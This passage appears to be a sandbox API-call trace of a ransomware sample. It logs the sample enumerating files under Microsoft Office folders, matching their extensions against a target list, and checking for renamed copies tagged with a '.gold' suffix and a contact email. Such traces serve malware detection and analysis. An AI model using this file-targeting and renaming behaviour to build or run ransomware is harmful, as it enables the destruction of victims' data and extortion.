lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0116.284] lstrlenW (lpString=".1cd") returned 4 [0116.284] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0116.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG") returned 65 [0116.284] lstrlenW (lpString=".jpg") returned 4 [0116.284] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0116.284] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0116.284] lstrlenW (lpString="TASKDEC.CFG") returned 11 [0116.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdec.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 59 os_tid = 0x69c [0086.900] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x5cf398 [0086.900] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x39c0048 [0086.901] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541258 [0086.901] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x53efd8 [0086.901] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541270 [0086.901] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3ac0020 [0086.901] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541288 [0086.901] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x541288, Size=0x20) returned 0x55e8b0 [0086.901] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x541288 [0086.901] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x541288, Size=0x20) returned 0x55e8d8 [0086.901] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a40000 [0086.901] GetProcAddress (hModule=0x75a40000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a6d650 [0086.901] Wow64DisableWow64FsRedirection (in: OldValue=0x2d9ff58 | out: OldValue=0x2d9ff58*=0x0) returned 1 [0086.901] lstrlenW (lpString="kernel32.dll") returned 12 [0086.901] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e8b0 | out: hHeap=0x4f0000) returned 1 [0086.901] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0086.901] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55e8d8 | out: hHeap=0x4f0000) returned 1 [0086.901] Sleep (dwMilliseconds=0x64) [0087.351] Sleep (dwMilliseconds=0x64) [0087.585] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0087.585] lstrlenW (lpString="Content.xml") returned 11 [0087.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0087.683] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=27045) returned 1 [0087.683] CloseHandle (hObject=0x2a8) returned 1 [0087.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0087.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0087.684] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0087.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0087.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0087.684] lstrlenW (lpString=".doc") returned 4 [0087.684] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0087.684] lstrlenW (lpString=".docx") returned 5 [0087.684] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0087.684] lstrlenW (lpString=".pdf") returned 4 [0087.684] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0087.684] lstrlenW (lpString=".xls") returned 4 [0087.684] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0087.684] lstrlenW (lpString=".xlsx") returned 5 [0087.684] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0087.684] lstrlenW (lpString=".ppt") returned 4 [0087.684] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0087.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0087.684] lstrlenW (lpString=".zip") returned 4 [0087.684] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0087.684] lstrlenW (lpString=".rar") returned 4 [0087.684] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0087.684] lstrlenW (lpString=".bz2") returned 4 [0087.684] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0087.684] lstrlenW (lpString=".7z") returned 3 [0087.684] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0087.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0087.684] lstrlenW (lpString=".dbf") returned 4 [0087.684] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0087.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0087.684] lstrlenW (lpString=".1cd") returned 4 [0087.684] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0087.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0087.684] lstrlenW (lpString=".jpg") returned 4 [0087.684] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0087.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0087.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0087.684] lstrlenW (lpString=".doc") returned 4 [0087.684] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0087.684] lstrlenW (lpString=".docx") returned 5 [0087.684] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0087.684] lstrlenW (lpString=".pdf") returned 4 [0087.684] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0087.685] lstrlenW (lpString=".xls") returned 4 [0087.685] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0087.685] lstrlenW (lpString=".xlsx") returned 5 [0087.685] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0087.685] lstrlenW (lpString=".ppt") returned 4 [0087.685] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0087.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0087.685] lstrlenW (lpString=".zip") returned 4 [0087.685] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0087.685] lstrlenW (lpString=".rar") returned 4 [0087.685] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0087.685] lstrlenW (lpString=".bz2") returned 4 [0087.685] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0087.685] lstrlenW (lpString=".7z") returned 3 [0087.685] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0087.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0087.685] lstrlenW (lpString=".dbf") returned 4 [0087.685] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0087.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0087.685] lstrlenW (lpString=".1cd") returned 4 [0087.685] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0087.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0087.685] lstrlenW (lpString=".jpg") returned 4 [0087.685] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0087.685] Sleep (dwMilliseconds=0x64) [0087.804] Sleep (dwMilliseconds=0x64) [0087.906] Sleep (dwMilliseconds=0x64) [0088.008] lstrcmpiW (lpString1=".avi", lpString2=".gold") returned -1 [0088.008] lstrlenW (lpString="boxed-split.avi") returned 15 [0088.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0088.224] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=62976) returned 1 [0088.224] CloseHandle (hObject=0x318) returned 1 [0088.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0088.224] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.224] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0088.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0088.224] lstrlenW (lpString=".doc") returned 4 [0088.224] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0088.224] lstrlenW (lpString=".docx") returned 5 [0088.224] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0088.224] lstrlenW (lpString=".pdf") returned 4 [0088.224] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0088.224] lstrlenW (lpString=".xls") returned 4 [0088.224] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0088.224] lstrlenW (lpString=".xlsx") returned 5 [0088.224] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0088.224] lstrlenW (lpString=".ppt") returned 4 [0088.224] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0088.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0088.224] lstrlenW (lpString=".zip") returned 4 [0088.224] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0088.224] lstrlenW (lpString=".rar") returned 4 [0088.224] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0088.224] lstrlenW (lpString=".bz2") returned 4 [0088.224] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0088.224] lstrlenW (lpString=".7z") returned 3 [0088.224] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0088.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0088.225] lstrlenW (lpString=".dbf") returned 4 [0088.225] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0088.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0088.225] lstrlenW (lpString=".1cd") returned 4 [0088.225] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0088.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0088.225] lstrlenW (lpString=".jpg") returned 4 [0088.225] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0088.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0088.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0088.225] lstrlenW (lpString=".doc") returned 4 [0088.225] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0088.225] lstrlenW (lpString=".docx") returned 5 [0088.225] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0088.225] lstrlenW (lpString=".pdf") returned 4 [0088.225] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0088.225] lstrlenW (lpString=".xls") returned 4 [0088.225] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0088.225] lstrlenW (lpString=".xlsx") returned 5 [0088.225] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0088.225] lstrlenW (lpString=".ppt") returned 4 [0088.225] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0088.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0088.225] lstrlenW (lpString=".zip") returned 4 [0088.225] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0088.225] lstrlenW (lpString=".rar") returned 4 [0088.225] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0088.225] lstrlenW (lpString=".bz2") returned 4 [0088.225] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0088.225] lstrlenW (lpString=".7z") returned 3 [0088.225] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0088.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0088.225] lstrlenW (lpString=".dbf") returned 4 [0088.225] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0088.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0088.225] lstrlenW (lpString=".1cd") returned 4 [0088.225] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0088.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0088.225] lstrlenW (lpString=".jpg") returned 4 [0088.225] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0088.225] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0088.225] lstrlenW (lpString="ipsjpn.xml") returned 10 [0088.225] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0088.673] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=2522) returned 1 [0088.673] CloseHandle (hObject=0x194) returned 1 [0088.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml")) returned 0x20 [0088.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.673] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsjpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0088.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0088.673] lstrlenW (lpString=".doc") returned 4 [0088.673] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0088.673] lstrlenW (lpString=".docx") returned 5 [0088.673] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0088.673] lstrlenW (lpString=".pdf") returned 4 [0088.673] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0088.673] lstrlenW (lpString=".xls") returned 4 [0088.673] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0088.673] lstrlenW (lpString=".xlsx") returned 5 [0088.673] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0088.673] lstrlenW (lpString=".ppt") returned 4 [0088.673] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0088.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0088.673] lstrlenW (lpString=".zip") returned 4 [0088.673] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0088.673] lstrlenW (lpString=".rar") returned 4 [0088.673] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0088.673] lstrlenW (lpString=".bz2") returned 4 [0088.673] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0088.674] lstrlenW (lpString=".7z") returned 3 [0088.674] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0088.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0088.674] lstrlenW (lpString=".dbf") returned 4 [0088.674] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0088.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0088.674] lstrlenW (lpString=".1cd") returned 4 [0088.674] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0088.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0088.674] lstrlenW (lpString=".jpg") returned 4 [0088.674] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0088.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0088.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0088.674] lstrlenW (lpString=".doc") returned 4 [0088.674] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0088.674] lstrlenW (lpString=".docx") returned 5 [0088.674] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0088.674] lstrlenW (lpString=".pdf") returned 4 [0088.674] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0088.674] lstrlenW (lpString=".xls") returned 4 [0088.674] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0088.674] lstrlenW (lpString=".xlsx") returned 5 [0088.674] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0088.674] lstrlenW (lpString=".ppt") returned 4 [0088.674] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0088.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0088.674] lstrlenW (lpString=".zip") returned 4 [0088.674] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0088.674] lstrlenW (lpString=".rar") returned 4 [0088.674] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0088.674] lstrlenW (lpString=".bz2") returned 4 [0088.674] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0088.674] lstrlenW (lpString=".7z") returned 3 [0088.674] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0088.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0088.674] lstrlenW (lpString=".dbf") returned 4 [0088.674] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0088.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0088.674] lstrlenW (lpString=".1cd") returned 4 [0088.674] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0088.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsjpn.xml") returned 61 [0088.674] lstrlenW (lpString=".jpg") returned 4 [0088.674] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0088.675] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0088.675] lstrlenW (lpString="ipskor.xml") returned 10 [0088.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0088.675] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=2568) returned 1 [0088.675] CloseHandle (hObject=0x194) returned 1 [0088.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml")) returned 0x20 [0088.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0088.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipskor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0088.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0088.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0088.675] lstrlenW (lpString=".doc") returned 4 [0088.675] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0088.675] lstrlenW (lpString=".docx") returned 5 [0088.675] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0088.675] lstrlenW (lpString=".pdf") returned 4 [0088.675] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0088.675] lstrlenW (lpString=".xls") returned 4 [0088.675] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0088.676] lstrlenW (lpString=".xlsx") returned 5 [0088.676] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0088.676] lstrlenW (lpString=".ppt") returned 4 [0088.676] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0088.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0088.676] lstrlenW (lpString=".zip") returned 4 [0088.676] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0088.676] lstrlenW (lpString=".rar") returned 4 [0088.676] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0088.676] lstrlenW (lpString=".bz2") returned 4 [0088.676] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0088.676] lstrlenW (lpString=".7z") returned 3 [0088.676] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0088.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0088.676] lstrlenW (lpString=".dbf") returned 4 [0088.676] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0088.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0088.676] lstrlenW (lpString=".1cd") returned 4 [0088.676] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0088.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0088.676] lstrlenW (lpString=".jpg") returned 4 [0088.676] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0088.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0088.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0088.676] lstrlenW (lpString=".doc") returned 4 [0088.676] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0088.676] lstrlenW (lpString=".docx") returned 5 [0088.676] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0088.676] lstrlenW (lpString=".pdf") returned 4 [0088.676] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0088.676] lstrlenW (lpString=".xls") returned 4 [0088.676] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0088.676] lstrlenW (lpString=".xlsx") returned 5 [0088.676] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0088.676] lstrlenW (lpString=".ppt") returned 4 [0088.676] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0088.676] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0088.676] lstrlenW (lpString=".zip") returned 4 [0088.676] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0088.676] lstrlenW (lpString=".rar") returned 4 [0088.676] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0088.676] lstrlenW (lpString=".bz2") returned 4 [0088.676] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0088.677] lstrlenW (lpString=".7z") returned 3 [0088.677] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0088.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0088.677] lstrlenW (lpString=".dbf") returned 4 [0088.677] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0088.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0088.677] lstrlenW (lpString=".1cd") returned 4 [0088.677] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0088.677] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipskor.xml") returned 61 [0088.677] lstrlenW (lpString=".jpg") returned 4 [0088.677] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0088.677] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0088.677] lstrlenW (lpString="ipsnld.xml") returned 10 [0088.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsnld.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsnld.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0088.677] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=2626) returned 1 [0088.677] CloseHandle (hObject=0x194) returned 1 [0088.677] GetFileAttributesW 